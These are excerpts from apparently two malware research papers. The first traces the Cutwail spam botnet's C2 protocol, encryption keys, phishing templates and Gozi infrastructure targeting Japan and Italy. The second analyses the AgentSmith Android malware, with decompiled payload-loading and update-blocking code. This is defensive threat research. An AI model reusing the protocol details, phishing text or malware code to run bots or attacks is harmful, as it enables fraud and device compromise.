    return plaintexts
```

Image 11. Cutwail strings decryption

Image 12 contains an excerpt of an example of Cutwail decrypted strings. At the offset 225 is the encryption key and at the offset 226 is the decryption key (reverse of the encryption key). The offsets 227–230 are SMTP servers used to test that outgoing connections on port 25 are not blocked. Among these decrypted strings is the IP address of the real Cutwail Command and Control server.
Out of all the executables embedded in the Cutwail payload, only the following are started:

- 1 randomly chosen executable from Set A — which contacts the up & running Cutwail Command and Control server
- 3 randomly chosen executables from Set B
- the small traffic-generating executable

In order to start an executable, the Cutwail payload creates a new svchost process and injects the executable in that process. It starts one svchost process for each executable it starts. If anything fails in any Cutwail code running within a svchost process, it starts a new svchost process, injects itself into that process, and exits.

b. Communication protocol

The communication with the Cutwail Command and Control server is performed by the randomly chosen executable out of Set A. The chosen executable creates 6 threads, each responsible for something different, but the actual communication with the Command and Control server takes place from the main thread. The communication protocol between the infected machine and the Command and Control server is encrypted with the algorithm illustrated in Image 13.

The encryption key is "eto ochen prostoarelkioiqyrut" while the decryption key is the reverse. The beginning of the encryption key ("eto ochen prosto") means in Russian “this is very simple”.

The requests sent to the server contain a required part and an optional part. The required part is sent at every request and contains information about the state of the bot. The optional part is sent after receiving the spam template from the server and contains information related to the spamming session. The entire request (either only required or both required and optional parts) is encrypted and prepended with 4 bytes specifying the size of the optional part before being sent to the server.
The required part of the request message has the structure illustrated in Image 14.

<table>
<thead>
<tr>
<th>bytes: field</th>
<th>4 bytes</th>
<th>4 bytes</th>
<th>4 bytes</th>
<th>4 bytes</th>
<th>1 byte</th>
<th>1 byte</th>
<th>2 bytes</th>
<th>2 bytes</th>
<th>2 bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>bot id</td>
<td>ip address</td>
<td>malware version</td>
<td>config version</td>
<td>emails version</td>
<td>OS version</td>
<td>OS version</td>
<td>build</td>
<td>flags</td>
</tr>
</tbody>
</table>

Most fields have self-explanatory names, so we are going to explain only the ones needing explanation:

- The "malware version" field is a constant hardcoded in the sample and is used to track which malware version the bots are running. Older samples have a smaller malware version (for example, 0x1AD in 9a7a2f3bb5c65a3b3db1f904d827c8b7).
- The "config version" and "emails version" fields represent the version of the configuration and source email addresses list. These are initially set to zero and later updated every time the server has a newer one.
- The "flags" field is initialized with 0x0020 and updated later as follows: the last but one bit is later set to 1 if the reverse DNS lookup of the external IP address of the infected machine resolves; the last bit is set to 1 if the reverse DNS lookup of the external IP of the infected machine doesn’t resolve.
- The "smtp servers" field represents the number of legitimate SMTP servers contacted by the executable before contacting the actual Command and Control server.
Next we are going to present each step of the communication with actual requests and responses. However, the bot id and other identifiable information was changed or blurred in order to prevent the attackers reading this paper from easily extracting our requests on the server side.

In the initial request, the bot id field is initialized with the value returned by the Windows API function GetTickCount (the number of milliseconds that have elapsed since the system was started, up to 49.7 days). The ip address field is initialized with the internal IP address of the infected machine — unlike all the other fields from the message which are in host / little-endian order, this field is in network / big-endian order. The malware version field is initialized with 0x1AF and remains constant throughout the entire communication. The fields corresponding to the configuration version and emails version are initialized with zero. The operating system major version, minor version, and build number fields are set accordingly and obviously remain constant for the rest of the communication. The flags field is initialized with 0x0020. The smtp servers field is set to 4 because the current sample contains hardcoded in its body 4 valid SMTP servers. Summing it all up, the first request is illustrated in Image 15.

First of all, the server checks the malware version. If the "malware version" field has a value smaller than the current malware version known to the server, then the server responds with a message of type 4 which contains the updated Cutwail module.

The structure of messages of type 4 is illustrated in Image 16.

The received message of type 4 (without the message length field) is illustrated in Image 17.
Note the change from “This program” to “This program” in the header. This is probably a way to make it harder for malware researchers to find the executable in the process memory by searching the entire process memory space for the string “This program”. This comes with an advantage for malware researchers, as well, because they can search for more cutwail samples knowing this particularity.

In this situation, the bot updates itself and starts the communication from the beginning. However, now the malware version field will be the latest (Image 18), so the server will proceed to the next steps.

Next, the server checks the configuration version field. If the configuration version is zero (the bot is just starting the communication) or smaller than the one on the server (the server has a configuration update), then the response received from the server is a message of type 7, containing the latest configuration version and content.

The structure of response messages of type 7 — new configuration (of course the value of the field “message type” is 7) is illustrated in Image 19.

The received configuration message (without the message length field) is as illustrated in Image 20. The blurred field is the IP address of the Cutwail Command and Control server.

The configuration version has been 129 since January 2019, when we started monitoring this server.
Before issuing the second request, the bot updates the request’s configuration version field to be equal to the one just received from the server, as illustrated in Image 21.

The server answers with a message of type 5. The structure of messages of type 5 are illustrated in Image 22.

The received message of type 5 (without the message length field) is illustrated in Image 23. The first blurred field is the bot id and the second blurred field is the external IP addresses of the system running Cutwail.

The “bot id” field returned by the server seems to be identical to the one sent by the bot if it is smaller than the maximum bot id known to the server. In this case it assumes that it is a known bot and the id doesn’t need to change. Given how the bot id is initialized using GetTickCount for the first request, the bot id sent by the bot in its first request should definitely be bigger than the biggest value known to the server. And in this case, the server seems to return the value obtained after incrementing the maximum bot id known to it.

The “flags” field is updated accordingly: the last but one bit is later set to 1 if the reverse DNS lookup of the external IP address of the infected machine resolves; the last bit is set to 1 if the reverse DNS lookup of the external IP of the infected machine doesn’t resolve. The “time update” field is the value used to update the number of seconds since 1900.

Before issuing the third request, the bot updates the request’s bot id field according to the value received from the server as well as the request’s flags field accordingly after the executable tries to perform the reverse DNS lookup on it. The new request is illustrated in Image 24.
If the emails version is zero (the bot is just starting the communication) or smaller than the one on the server (the server has an emails update), then the response received from the server is a message of type 8, containing the latest list of source email addresses (email addresses used in the From field of the spam templates) version and content.

Structure of messages of type 8 is illustrated in Image 25.

<table>
<thead>
<tr>
<th>bytes: field:</th>
<th>4 bytes message length</th>
<th>4 bytes message type</th>
<th>4 bytes email addresses version</th>
<th>n bytes email addresses list</th>
</tr>
</thead>
</table>

Image 25. Structure of response of type 8 (source email addresses)

The received message of type 8 (without the message length field) is illustrated in Image 26.

Before issuing the fourth request, the bot updates the request’s email addresses version number as illustrated in Image 27.

| bytes: value: field: | 63251000 0x102583 bot id | 0A0002D 10.0.2.15 ip address | AFO10000 0x1AF malware version | 81000000 0x81 config version | 70000000 0x70 emails version | 05 0x05 major OS | 01 0x01 minor OS | 280A 0xA28 OS build | 2100 0x0021 flags | 0400 0x004 smtp servers |

Image 27. Request with updated source email addresses version

From now on the server might send a response consisting of a single double word, if there is no spam template to be sent at the moment, then the response presented in Image 28 is received.

Image 28. Cutwail response without type (wait for instructions)
As long as this is the case, the bot must continue to resend the same request from time to time (the waiting time interval is specified in the configuration) until it receives a message of type 6 from the server, which is the message containing the spam template. The structure of messages of type 6 is presented in Image 29.

Image 29. Structure of response of type 6 (spam template)

The received message of type 6 (without the message length field) is illustrated in Image 30.

![Image 29. Structure of response of type 6 (spam template)](image9.png)

![Image 30. Example of response of type 6 (spam template)](image10.png)

After receiving the spam template, the bot adds a few more fields to the previous request. Thus this is the first request so far which needs an optional part to be appended to the mandatory part of the request. Because of this, the plaintext DWORD prepended to the encrypted request is no longer 0x00000000 but rather 0x00000014, which is the length of the optional part of the request. The request containing both the mandatory and optional parts is illustrated in Image 31. Note in this request the unknown field 3 from the previous response.

![Image 31. Request with optional part](image11.png)
The server sends as response a message of type 1, containing a list of destination email addresses to which the previously received spam template is to be sent to. The structure of messages of type 1 is illustrated in Image 32.

The received message of type 1 (without the message length field) is presented in Image 33. It contains a list of domains and each domain is followed by a list of usernames, as illustrated in the following image. Each domain with its list of usernames is separated from the other with the value 0xFFFFFFFF. Each username starts with "|".

The sample then proceeds to send spam to recipients, report the results to the server, and request more recipients. The unknown fields are probably some session variables used to keep track of the spam sending progress.

**Image 32. Structure of response of type 1 (destination email addresses)**

**Image 33. Example of response of type 1 (destination email addresses)**

The sample then proceeds to send spam to recipients, report the results to the server, and request more recipients. The unknown fields are probably some session variables used to keep track of the spam sending progress.
c. Received Spam Templates

For the period we have been communicating with the Cutwail Command and Control server targeting Japan, we received a lot of phishing spam templates. The Images 34–43 consist of a representative set from the most recent spam templates received up to the time of this writing:

- Amazon phishing received on September 23 and 24, 2019
- Rakuten phishing received on September 20, 2019
- Microsoft phishing received on September 18, 2019
- Apple phishing received on August 2, 2019
The spam templates illustrated here contain the following URLs:

- **Apple**: hxxp://warnning-accounts-recovery-appleid-apple.com/
- **Amazon**: hxxp://resetting-protection-recovery-support-amazn.com/
- **Amazon**: hxxp://warnning-account-recovery-support-amazon.net/
- **Rakuten**: hxxp://resetting-accounts-recovery-support-rakuten.info/
- **Microsoft**: hxxp://warnning-accounts-recovery-supports-office.info/

However, in different spam templates, the message and the URL are slightly changed. Depending on the target, the domain name might contain a representative word (apple for Apple, office for Microsoft, etc.). The domain names for the same target but in different spam templates might double a letter, add or remove a letter, or replace a word.

Note that these domains only serve the phishing webpage if contacted from an IP address located in Japan. Otherwise, it redirects to a randomly chosen website, such as amazon, yahoo, subaru, canon, google, tabelog, lawson, and so on. Also, the website won't serve anything if it doesn’t have the headers simulating a web browser.

However, if contacted from a browser running on a machine located in Japan, the phishing webpage is served. An example of such a phishing website is illustrated in Image 44 for warnning-account-recovery-support-amazn.info on September 30, 2019.
The spam templates are not available all the time. Usually messages of type 5 (accept a new bot or newly connected bot), 7 (configuration), and 8 (source email addresses — i.e. senders) are available the entire time the Command and Control is responsive. However, messages of type 6 (spam template) and 1 (destination email addresses — i.e. recipients) are available only during certain periods of time. Thus spam is not being sent continuously, but in bursts. These bursts usually start during weekdays around 6:00-7:00 (which in Japan Standard Time is 15:00-16:00) and last for hours. The attackers rarely send spam templates during the weekends — they seem to value their leisure time.

d. Source email addresses

Lists of source email addresses are sent regularly to the bots. A new version of source email addresses appears approximately every 3 hours. The new version is simply incremented from the previous version. From time to time the version of source email addresses is reset and it starts incrementing from 0 again.

The source email addresses seem auto-generated in a random fashion as can be observed from Image 26 containing an excerpt of a response of type 8. The domains seem to belong to the attackers. Some of them don’t resolve, some show the message "Website is under construction", some of them have references to some of the other domains present in these lists.

e. Destination email addresses

For most of the month of September, we collected over 750000 unique email addresses for over 75000 unique domain names. Most domains are related to Japan in at least one of the following ways:

- by having Japanese top level domains such as jp, co.jp, ne.jp, or.jp, ac.jp
- by having second level domains that contain Japanese related words such as osaka, tokyo
- by having second level domains that contain Japanese words written in romaji

The collected email addresses seem to contain both email addresses which belong to individuals as well as corporate email addresses. We suspect that some email addresses are corporate email addresses if they have the following properties:

- They have a domain name associated to a known company.
- They have email usernames (the part before @) composed in a consistent way across the same domain. An example of consistent email usernames for a domain would be deriving the email username by concatenating the first letter of the first name and the last name for a given person.

These are mostly Japanese companies and ISPs, which makes sense given it targets Japan.
f. Scan for other Command and Control servers

After analyzing and implementing the communication protocol for Cutwail, we decided to search for more Cutwail Command and Control servers. In order to do so, we first scanned with Zmap (https://github.com/zmap/zmap) the entire IPv4 space in order to collect IP addresses which have port 25 open. After this step, 11 million IP addresses remained in the collection of candidate Cutwail Command and Control servers. We sent them a well-formed and encrypted Cutwail beacon. If the beacon is built accordingly, the response must be a message of type 7, providing the new configuration. After decrypting the responses and checking their format, we discovered one new Cutwail server. We started to communicate with it and discovered that it targets Italy and spreads spam with attachments leading to Bebloh which leads to Gozi.

An interesting thing to note here is that this approach is able to detect Cutwail Command and Control servers regardless of the encryption key used to encrypt the beacon. This is possible because:

- the initial Cutwail beacon is composed of 32 bytes (4 plaintext bytes specifying the size of the optional part which is zero in the initial beacon and 28 ciphertext bytes consisting of the encrypted required part)
- the encryption algorithm employed by Cutwail for its communication is a block cipher with block size being 29 bytes (the length of the key)
- the encryption algorithm employed by Cutwail for its communication doesn't encrypt the last block of the message if it is smaller than the block size

Because the length of the ciphertext of the initial Cutwail beacon is smaller than the length of the cipher’s block, the entire initial Cutwail beacon remains completely unencrypted. So, as long as the format of the message is the same, a Cutwail Command and Control server will respond regardless of the encryption key it uses. The response, however, is the new configuration, which is bigger than 29 bytes and thus can’t be decrypted if the server uses a different encryption key. But we can still make a guess given that the response starts with a plaintext DWORD specifying the size of the response.

g. Italy-targeting Command and Control server

The Italy-targeting Command and Control server sends spam templates less often than the Japan-targeting one, but with improvements over the previous ones.

On September 17, 2019, we received the spam template illustrated in Images 45–46.

It has an Excel attachment, whose name has the format MIL00014[DIGIT[5]].xls.
The Italian company TGSoft received and analyzed the spam, as illustrated in a screenshot from their blog (Image 47).

Il documento Excel presente come allegato "MIL0001508164.xls" della mail analizzata contiene una MACRO che sfruttando un codice obfuscatore che andrà a scaricare il Trojan Banker Ursnif per infettare il computer e poterne carpire i dati.

MIL0001508164.xls
MDS: f564e320396d930a768a7325b3ee5bf
Dimensione: 92160 Bytes
VirIT: X97K.Downloader.HK

(Ursnif Payload)
MDS: 13ef7c27b2058a9e936d942607ded0
Dimensione: 222208 Bytes
VirIT: Trojan.Win32.Ursnif.BRR
One week later, on September 24, 2019 we received the spam template illustrated in Images 48–49.

In comparison to the previous one, this has two attachments. One attachment is a PDF file named letteraspiegazioneiva_24092019.pdf and the other one is an Excel file whose name has the format F.N.MIL00016{DIGIT[5]}.xls.
One day later, on September 25, 2019, we received a new spam template. This time there is only one attachment, but the content of the email is very customizable and there are multiple options to choose from for the subject, body, and organization. The actual spam template is illustrated in Image 50.

Possible values for the subject are:

- Primo sollecito per il pagamento di fattura scaduta
- Sollecito pagamento mancato
- Richiesta controllo pagamento
- Mancato pagamento
- Si prega di controllare l’avvenuto pagamento fatt.n.0{DIGIT[3]} del 20.09.2019
- Sollecito pagamento fatt.

Possible values for the addressing (L1) are:

- Gentile Cliente
- Buongiorno
- Gent.lì Signori

Possible values for the body are (ti32-body) are:

- ci risulta che la fattura n.0{DIGIT[3]} del 20.09.2019 non è ancora stata pagata.
- Vi preghiamo quindi di provvedere al più presto al regolamento della posizione. Nel caso abbiate già provveduto al pagamento, vi preghiamo di ritenere nulla questa richiesta.
- In allegato vi trasmetto la fatt.
- Vi preghiamo quindi di provvedere al più presto al regolamento della posizione. Nel caso abbiate già provveduto al pagamento, vi preghiamo di ritenere nulla questa richiesta.

Possible values for the organization (ti1-firm) are:

- Ufficio Amministrativo
- UFFICIO ACQUISTI
- UFFICIO

Perhaps they figured out that the attachments are not the problem, but the messages. Thus they went back to sending just one attachment, but diversifying the spam message. It could be because they get blacklisted fairly fast or the messages are published by malware researchers and thus raising awareness to particular messages.

This spam template also comes with an excel attachment, whose name has the format Documento1_sollecito_0{DIGIT[3]}_del_25092019.xls.

The Italian company TGSoft received and analyzed this spam, as well, as illustrated in a screenshot from their blog (Image 51). The attachments to all these spam templates are Excel documents leading to Gozi.
4. Connection between the Italian and Japanese targeting C2s

We have a few reasons to believe that the Cutwail Command and Control server which is currently targeting Italy was used before to target Japan with Gozi.

First, there is a hybrid analysis report for the JavaScript file with the SHA-256 hash 18df0fef2ac7b04f6a5f543117d0d6d6f221d27008a89128b32e2f8b826f1279 from January 2017 (https://www.hybrid-analysis.com/sample/18df0fef2ac7b04f6a5f543117d0d6d6f221d27008a89128b32e2f8b826f1279). Its original name seems to be "Pickup - DOMESTIC EXPRESS-Date,23 Jan 17.pdf.js", indicating it must have been spread as an attachment to spam. During the analysis it downloaded and executed a Cutwail sample. Back then, Cutwail contacted the IP address of the Command and Control server which is currently targeting Italy at the moment. However, at the time, in January 2017, this server responded with Japanese source email addresses (message of type 8), indicating its target at the time was Japan (Image 52).
Targeting Japan: a story from infection vector to C&C server hidden using fast flux and everything in between

In December 2018, he analyzed spam targeting Japan and infecting users with Gozi (https://bomccss.hatenablog.jp/entry/2018/12/14/134301, https://bomccss.hatenablog.jp/entry/2018/12/23/175325). The description is similar to the way the Command and Control server is currently targeting Italy and infecting users with Gozi. The interesting part here is that the sender email addresses reported by bomccss for these spam emails (Image 54) use the same domain names as the source email addresses lists we received from Cutwail during January 2019 (Image 53).

![Image 53. Source email addresses sent by Cutwail in January 2019 for spam targeting Japan with phishing](image)

Consequently, the following indicate that the server currently targeting Italy used to target Japan during 2017–2018 in order to infect users with Gozi:

- The spam observed during 2017–2018 targeting Japan with Gozi is very similar to the spam targeting Italy at the moment with the same purpose.
- The Command and Control server targeting Italy at the moment was observed during January 2017 sending messages of type 8 containing almost exclusively Japanese source email addresses.
- The source email addresses observed to target Japan during December 2018 use the same domain names as the source email addresses sent by the Command and Control server currently targeting Japan with phishing.

![Image 54. Source email addresses observed by bomccss during December 2018 for spam infecting Japan with Gozi](image)
5. Search for Japanese malware

Sometime ago we were interested in discovering malware targeting Japan. Since usually the properties of the executables or the executables themselves don’t contain this type of information, we decided to turn our attention towards the infection vector. We were looking for emails, documents (Microsoft Word, Microsoft Excel, PDF), Android, Javascript files containing content in Japanese.

For the documents part, we prepared a virtual machine for cuckoo so that its language, locale, culture are set to Japanese. Then we automatically executed them. This is how we stumbled upon Bebloh downloading Gozi that targets Japan. At the time we didn’t know these documents were sent by Cutwail bots.

6. Gozi

Gozi uses a Domain Generation Algorithm as a fallback mechanism for when the Command and Control is not up and running. The Japan-targeting samples use www.apache.org/licenses/LICENSE-2.0.txt as a source of words for its Domain Generation Algorithm. The generated domains are valid for 5 days. For example, for September, the following domains are generated:

<table>
<thead>
<tr>
<th>Domain</th>
<th>Start date of validity interval</th>
<th>End date of validity interval</th>
</tr>
</thead>
<tbody>
<tr>
<td>licfilewitcontained.online</td>
<td>02.09.2019</td>
<td>06.09.2019</td>
</tr>
<tr>
<td>inabindeemnifyca.online</td>
<td>07.09.2019</td>
<td>11.09.2019</td>
</tr>
<tr>
<td>useworkcopyrightreplaced.online</td>
<td>12.09.2019</td>
<td>16.09.2019</td>
</tr>
<tr>
<td>workscondicondiwo.online</td>
<td>17.09.2019</td>
<td>21.09.2019</td>
</tr>
<tr>
<td>grashallcontributor.online</td>
<td>22.09.2019</td>
<td>26.09.2019</td>
</tr>
</tbody>
</table>

Table 1. DGA-generated domains with their corresponding validity interval

Images 55–60 illustrate the distribution per country of the unique IP addresses contacting these domains. Note that only the requests matching the Gozi format were kept for these statistics (i.e. URLs containing the string “images”). For most intervals, most requests are coming from Japan. However, it is unusual that in the middle of September, the number of IP addresses from the United States seems to increase significantly and then drop again.
Targeting Japan: a story from infection vector to C&C server hidden using fast flux and everything in between

**Image 56. Distribution by country of IP addresses contacting inabindenfifyca.online**

**Image 57. Distribution by country of IP addresses contacting useworkcopyrightreplaced.online**

**Image 58. Distribution by country of IP addresses contacting workscondicondiwo.online**
7. DarkCloud Fast Flux

The Fast Flux technique involves assigning multiple IP addresses to a domain name and frequently changing them. A Fast Flux infrastructure is a network of machines whose IP addresses are used for the Fast Flux technique. To be precise, the IP addresses corresponding to these machines represent a pool of IP addresses. When the TTL (time to live) of a domain expires, a subset of IP addresses is chosen from this pool to be assigned to that domain. These machines act as proxies between the clients trying to access that domain and the server to which that domain belongs.

There are two types of Fast Flux:

- **single fast flux** — involves frequently changing the IP addresses of the DNS A and/or AAAA records
- **double fast flux** — involves frequently changing the IP addresses of the DNS A and/or AAAA records as well as the IP addresses of the DNS NS records

Given the trend of Malware-as-a-Service, it is not surprising that malicious Fast Flux services and the underlying infrastructure are available for renting. Examples include DarkCloud and Sandiflux.

The starting point for the search of the DarkCloud Fast Flux infrastructure was a subset of 1000 IP addresses, which was made public in March 2018 by the malware researcher Kafeine. These IP addresses might no longer be part of the DarkCloud infrastructure because the underlying machines might use dynamic IP addresses or might have been cleaned up in the meantime. Thus, it was necessary to check which were still actively used in the DarkCloud infrastructure one year later.

We investigated this set with Passive DNS data. As of 2019, we could only resolve 100 IP addresses out of the initial 1000. These were probably machines with fixed IP addresses which didn’t get cleaned up in the meantime.
However, having resolutions and being part of the DarkCloud infrastructure are two different things. To confirm whether these IP addresses belonged to the DarkCloud infrastructure, it was necessary to look at the domains corresponding to those 100 IP addresses. These were related to phishing, Command and Control servers, urls contacted by macros from documents to download malware, and so on. This confirmed that the IP addresses were part of a malicious infrastructure.

However being part of a malicious infrastructure and being part of the DarkCloud infrastructure are two different things. The next step was to gather all the domains these IP addresses resolved to. By trying to resolve all those domains, it was possible to discard the ones which didn’t resolve, resolved to only one IP address, were Bitcoin DNS seed domains, or were nameservers. The remaining small set of domains seemed to be part of the DarkCloud Fast Flux because they matched the description for domains using the DarkCloud infrastructure (they were resolving to 8-10 IP addresses at once and had a very small TTL of 59 seconds.

Many malware activities require short-lived domain names (domains generated with a date dependent Domain Generation Algorithm, domains used during an infection campaign, etc.). These are not very helpful in uncovering the malicious Fast Flux infrastructure. However, there are some malware activities that require long-lived domain names, such as an underground market. These long-lived domains represent a shortcoming for this technique because they can help uncover the malicious Fast Flux infrastructure. In order to do this, we need to frequently resolve these domain names in order to collect the list of IP addresses they use. The interval of time between two resolutions must be less than or equal to the TTL used for the given domains.

However, even the long-lived domains will eventually cease to be used. This is why it is necessary to regularly update the list of domains used to monitor a Fast Flux infrastructure. The domains that are no longer used need to be removed from the list and new long-lived domains need to be found and added to the list.

By monitoring a single long-lived domain actively using the Fast Flux infrastructure at the moment, we can uncover up to $24 \times 60 \times 10 = 14400$ IP addresses per day. It is usually less than that for a domain per day because some IP addresses can be reused during the day for the same domain. However, with more long-lived domains, the number of IP addresses uncovered per day increases.

For example, during September 2019, by monitoring 12 domains, we managed to collect almost 90000 unique IP addresses. Interestingly, approximately 90% of those IP addresses are located in France, as can be observed from Image 60.

Given the malicious Fast Flux infrastructure, we can uncover malicious domains actively used at the moment. Specifically, we can interrogate Passive DNS collections in order to obtain domains which resolved at some point in time to the IP addresses that are part of a known Fast Flux infrastructure. Next, we can try to attribute these domain names to malware families and campaigns. In this way we can know which malware families and campaigns are actively using the given Fast Flux infrastructure.
By doing so, we managed to find domain names used by the Gozi malware samples targeting Japan among the domains served by the DarkCloud infrastructure.

The Gozi samples targeting Japan have some hardcoded domain names and a fallback Domain Generation Algorithm. The domains generated by the fallback DGA don’t resolve to IP addresses from the DarkCloud Fast Flux, which makes sense given that the hardcoded domain names act as valid Command and Control servers. These hardcoded domains (interruption.ru, adonis-medicine.at, marcoplfind.at), however, resolve to IP addresses of the Fast Flux network.

9. Conclusions

For the past several months we have been separately monitoring several pieces which later started to come together to form this story. By connecting these pieces, we managed to follow and understand the flow of this campaign from the beginning, with users getting infected through spam sent by Pushdo bots, to the Command and Control server of the Gozi payload hiding behind a Fast Flux. In order to be able to achieve this, we had to reverse engineer several communication protocols, search for up and running Command and Control servers, connect pieces of information known to us with pieces of information published by other malware researchers, discover and monitor a Fast Flux network.

References

[8] https://bomcss.hatenablog.jp/
AgentSmith — A New species of Mobile Malware

Aviran Hazum / Checkpoint

Abstract

Check Point researchers recently discovered a new variant of mobile malware that quietly infected around 25 million devices, while the user remains completely unaware. Disguised as a Google-related app, the core part of malware exploits various known Android vulnerabilities and automatically replaces installed apps on the device with malicious versions without the user’s interaction. This unique on-device, just-in-time (JIT) approach inspired researchers to dub this malware as “Agent Smith”.

In a much-improved Android security environment, the actors behind Agent Smith seem to have moved into the more complex world of constantly searching for new loopholes, such as Janus, Bundle and Man-in-the-Disk, to achieve a 3-stage infection chain, in order to build a botnet of controlled devices to earn profit for the perpetrator. “Agent Smith” is possibly the first campaign seen that ingrate and weaponized all these loopholes and are described in detail below.

In this case, “Agent Smith” is being used for financial gain through the use of malicious advertisements. However, it could easily be used for far more intrusive and harmful purposes such as banking credential theft. Indeed, due to its ability to hide it’s icon from the launcher and impersonates any popular existing apps on a device, there are endless possibilities for this sort of malware to harm a user’s device.
Introduction

In early 2019, we have observed a surge of Android malware attack attempts against users in India, which had strong characteristics of Janus vulnerability abuse. All samples our team collected during the preliminary investigation had the ability to hide their app icons and claim to be Google related updaters or vending modules (a key component of Google Play framework).

Upon further analysis, it became clear this application was as malicious as they come and initially resembled the CopyCat malware, but as the research progressed, it started to reveal unique characteristics which made us believe we were looking at an all-new malware campaign found in the wild.

After a series of technical analysis (which is covered in detail below) and heuristic threat hunting, we discovered that a complete “Agent Smith” infection has three main phases:

1. A dropper app lures the victim to install itself voluntarily. The initial dropper has a weaponized Feng Shui Bundle as encrypted asset files. Dropper variants are usually barely functioning photo utility, games, or sex-related apps.

2. The dropper automatically decrypts and installs its core malware APK which later conducts malicious patching and app updates. The core malware is usually disguised as Google Updater, Google Update for U or “com.google.vending”. The core malware’s icon is hidden.

3. The core malware extracts the device’s installed app list. If it finds apps on its prey list (hard-coded or sent from C&C server), it will extract the base APK of the target innocent app on the device, patch the APK with malicious ads modules, install the APK back and replace the original one as if it is an update.

“Agent Smith” repacks its prey apps at smali/baksmali code level. During the final update installation process, it relies on the Janus vulnerability to bypass Android’s APK integrity checks. Upon kill chain completion, “Agent Smith” will then hijack compromised user apps to show ads. In certain situations, variants intercept compromised apps’ original legitimate ads display events and report back to the intended ad-exchange with the ‘Agent Smith’ campaign hacker’s ad IDs.

Our intelligence shows “Agent Smith” droppers proliferate through third-party app store “9Apps”, a UC team backed store, targeted mostly at Indian (Hindi), Arabic, and Indonesian users. “Agent Smith” itself, though, seems to target mainly India users. Unlike previously discovered non Google Play centric campaigns whose victims almost exclusively come from less developed countries and regions, “Agent Smith” successfully penetrated into a noticeable number of devices in developed countries such as Saudi Arabia, UK, and the US.
Technical Analysis

"Agent Smith" has a modular structure and consists of the following modules:

- Loader
- Core
- Boot
- Patch
- AdSDK

As stated above, the first step of this infection chain is the dropper. The dropper is a repacked legitimate application which contains an additional piece of code — "loader".

The loader has a very simple purpose, extract and run the "core" module of "Agent Smith". The "core" module communicates with the C&C server, receiving the predetermined list of popular apps to scan the device for. If any application from that list was found, it utilizes the Janus vulnerability to inject the "boot" module into the repacked application. After the next run of the infected application, the "boot" module will run the 'patch' module, which hooks the methods from known ad SDKs to its own implementation.

![Diagram](image)

**Figure 2**

**Technical Analysis — Loader**

The ‘Loader’ module extract and run the ‘Core’ module. While the ‘Core’ module resides inside the APK file, it is encrypted and disguised as a JPG file — the first two bytes are actually the magic header of a JPG file, while the rest of the data is encoded with an XOR cipher.

![Image of header and payload](image)

**Figure 3**
After extraction, the ‘Loader’ module adds the code to the application while using the legitimate mechanism by Android to handle large DEX files. Once the ‘Core’ module is extracted and loaded, the ‘Loader’ uses the reflection technique to initialize and start the ‘Core’ module.

**Technical Analysis — Core**

This module has but one purpose — spread the infection. It achieves its goal by:

1. Using a series of ‘Bundle’ vulnerabilities, which is used to install applications without the user’s awareness.
2. Using the Janus vulnerability, which allows the actor to replace any application with an infected version.

This module contacts the C&C server, attempting to get a fresh list of applications to search for. If that fails, this module uses a default application list to infect, which contains applications such as WhatsApp, AnyShare, Jio, Opera Mini, Xender, True Caller, and more.

For each application, the ‘Core’ module checks for a matching version and MD5 hash value, while also checking if the is application running in the user-space. If all conditions are met, this module starts the infection attempt on this application.

This module implements two methods for infection — decompilation, and binary-patch. The decompilation method is based on the fact that Android applications are Java-based and therefore can be re-compiled on the device. Therefore, AgentSmith decompiles both the original application and the malicious payload and fuses them together.

While decompiling, AgentSmith has the opportunity to modify methods of the original applications, targeting methods that handle advertisement with its own code, especially methods that communicate with ‘AdMob’, ‘MoPub’ and ‘Unity Ads’.
The end results of this method is a compiled DEX file containing both the original code of the application and the malicious payload.

In some cases the decompilation fails, this will be the time for AgentSmith to fall back to the second method — Binary Patch, which simply provides the binary file of the ‘Boot’ module. Solely injecting the code of the ‘Boot’ module is not enough. As AgentSmith uses a module approach, and as we stated earlier, the original loader extract everything from the Assets, the usage of Janus vulnerability can only change the code, not the resources. This means that the only thing possible in this case is to replace its DEX file.

To overcome this issue, AgentSmith found another solution — hiding the data after the data section, which is ignored by Android’s loader (ART).

Now, after the alteration of the original application, Android’s package manager will think that this is an update for the application signed by the same certificate, but in reality, it will execute the malicious DEX file.
Technical Analysis — Boot

The ‘Boot’ module is basically another ‘Loader’ module, but this time it’s executed in the infected application, not the dropper. The purpose of this module is to extract and execute a malicious payload — the ‘Patch’ module. The infected application contains its payload inside the DEX file, and all that is needed is to get the original size of the DEX file and read everything that comes after this offset — the malicious code that the ‘Core’ module inserted.

```java
public static byte[] getZipFromDex(String dexPath) { // check the signature of the payload
    byte[] header = FileUtils.readFileToByteArray(dexPath, 0, 0x78); // Read header
    int payloadOffset = FileUtilUtils.getBytesInt(header, 104) + FileUtilUtils.getBytesInt(header, 108); // Data size + Data offset
    try {
        int payloadSize = FileUtilUtils.byteArrayToInt(FileUtilUtils.readFileToByteArray(dexPath, payloadOffset, 4));
        if((0xFFFF & FileUtilUtils.byteArrayToInt(FileUtilUtils.readFileToByteArray(dexPath, payloadOffset + 4, 4))) != 0x4850) {
            return null;
        }
        byte[] v8 = FileUtilUtils.readFileToByteArray(dexPath, payloadOffset + 4, payloadSize);
        return v8;
    } catch(Exception v7) {
    }
    return null;
}
```

Figure 9

After the ‘Patch’ module is extracted, the ‘Boot’ module executes it using the same method described in the ‘Loader’ module.

Technical Analysis — Patch

At this stage, AgentSmith achieved its primary goal — running malicious payload inside the original application, with hooks on various methods. At this point, everything lies with maintaining the required code in case of an update for the original application.

Up until this point, there were a lot of resources invested in the development of this malware, so the actor behind this campaign does not want a real update for the application to remove all of the changes made to the original application. Enter the ‘Patch’ module.

With the sole purpose of disabling automatic updates for the infected application, this module observes the update directory for the original application and removes the file once it appears.

Another trick in ‘Agent Smith’s arsenal is to change the settings of the update timeout, making the original application wait endlessly for the update check.

```java
String v1 = Environment.getExternalStorageDirectory().getAbsolutePath() + "+/Xender/.cache/.templ/update.apk";
while(true) {
    if(FileUtilUtils.checkFile(v1)) {
        FileUtilUtils.del(v1);
    }
    com.StatisticsSdk.Xender.XenderMain$1.sleep(10000);
}
```

Figure 10
After all of the above, now is the time to actually take a look into the malicious payload that displays ads to the user.

In the injected payload, the module implements a method that is called at any time that an infected application will create an activity. This method is called 'requestAd', and it will show an ad received from a 3rd party server.

In the case of the infected application not specified in the code, AgentSmith will simply show ads on the activity being loaded.
Connecting the Dots

AgentSmith droppers show a very greedy infection tactic. It’s not enough to swap just one innocent application with a malicious double, it does so for each and every app on the device as long as the package names are on the prey-list.

